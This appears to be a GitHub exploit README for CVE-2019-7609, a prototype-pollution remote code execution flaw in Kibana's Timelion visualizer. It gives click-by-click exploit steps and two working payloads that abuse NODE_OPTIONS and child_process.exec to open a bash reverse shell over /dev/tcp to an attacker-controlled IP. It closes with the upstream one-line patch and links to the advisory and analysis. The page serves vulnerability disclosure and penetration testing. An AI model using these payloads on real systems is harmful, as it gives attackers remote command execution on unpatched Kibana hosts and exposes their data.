mpgn / CVE-2019-7609

RCE on Kibana versions before 5.6.15 and 6.6.0 in the Timelion visualizer

CVE-2019-7609

Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.

Found by @securityMB

Note: I've tested this attack on Kibana 6.6.0 but it was no working... on my side only version of Kibana < 6.6.0 are vulnerable as explain by @securityMB

EDIT 20/12/2019 : if Canvas panel is not accessible, just check this writeup from @Synacktiv https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html

Exploit

1. Open Kibana
2. Past one of the following payload into the Timelion visualizer
3. Click run
4. On the left panel click on Canvas
5. Your reverse shell should pop ! :)

• payload by @securityMB

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

• payload by @chybeta

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/127.0.0.1/6666 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

Detailed analysis (english):

• https://slides.com/securitymb/prototype-pollution-in-kibana/#/

Security advisory:

• https://discuss.elastic.co/t/elastic-stack-6-6-1-and-5-6-15-security-update/169077

Patch

https://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch

From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
From: ppisljar <[e-mail]>
Date: Wed, 16 Jan 2019 06:01:20 -0800
Subject: [PATCH] fixes

---
 .../core_plugins/timelion/server/series_functions/props.js      | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
index 81b74901d4db..80e9cafd6712 100644
--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
@@ -32,7 +32,7 @@ function unflatten(data) {
     let prop = '';
     let m;
     while (m = regex.exec(p)) {
-      cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
+      cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
       prop = m[2] || m[1];
     }
     cur[prop] = data[p];